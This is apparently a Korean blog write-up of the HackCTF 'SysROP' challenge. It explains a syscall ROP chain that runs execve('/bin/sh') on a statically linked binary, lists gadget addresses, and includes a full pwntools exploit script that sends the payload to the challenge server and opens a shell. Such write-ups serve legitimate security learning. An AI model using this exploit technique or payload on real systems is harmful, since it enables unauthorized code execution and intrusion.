statically linked binary이다.
statically linked는 바이너리 내에서 함수를 로드해서 사용한다.
이 문제의 경우 system 함수가 없었다.
그래서 이번엔 syscall을 사용해서 execve("/bin/sh", NULL, NULL); 을 실행시키는 sysROP 방법으로 문제를 풀어봤다.
# process
1. sysROP 과정
1) 레지스터에 필요한 인자 저장
- 필요한 인자
pop eax; ret => \x0b : execve의 syscall id
pop ebx; ret => "/bin/sh"
pop ecx; ret => 0
pop edx; ret => 0
2) int 0x80 명령어 실행
- syscall 시 필요하다.
- 필요한 인자
int 0x80; ret
2. ROP gadget 찾기
rp를 이용해서 필요한 gadget을 찾았다.
"int 0x80 ; ret" : 0x806f630
"pop eax ; ret" : 0x80b81c6
"pop edx ; pop ecx ; pop ebx ; ret" : 0x806f050
3. "/bin/sh" 문자열 저장
system 함수가 없으므로 "/bin/sh" 문자열 주소를 찾을 수 없다.
따라서 bss 영역에 "/bin/sh"를 넣어줄 것이다.
gets@plt 가 있으므로 gets로 bss에 "/bin/sh"를 전달해서 넣어준다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./lookatme")
p = remote("ctf.j0n9hyun.xyz", 3017)
pop_eax = 0x80b81c6
pop_edx_ecx_ebx = 0x806f050
int_0x80 = 0x806f630
gets_plt = 0x804f120
bss = 0x080eaf80
pay = 'A'*0x18 + 'B'*0x4
pay += p32(gets_plt) + p32(pop_eax) + p32(bss)
pay += p32(pop_eax) + "\x0b" + "\x00"*3
pay += p32(pop_edx_ecx_ebx) + "\x00"*4 + "\x00"*4 + p32(bss)
pay += p32(int_0x80)
p.sendlineafter("\n", pay)
p.sendline("/bin/sh\x00")
p.interactive()
# exploit
[HackCTF] RTC (0) | 2020.02.03 |
---|---|
[HackCTF] You are silver (0) | 2020.01.31 |
[HackCTF] SysROP (0) | 2020.01.30 |
[HackCTF] Beginner Heap (0) | 2020.01.22 |
[HackCTF] Unexploitable #2 (0) | 2020.01.19 |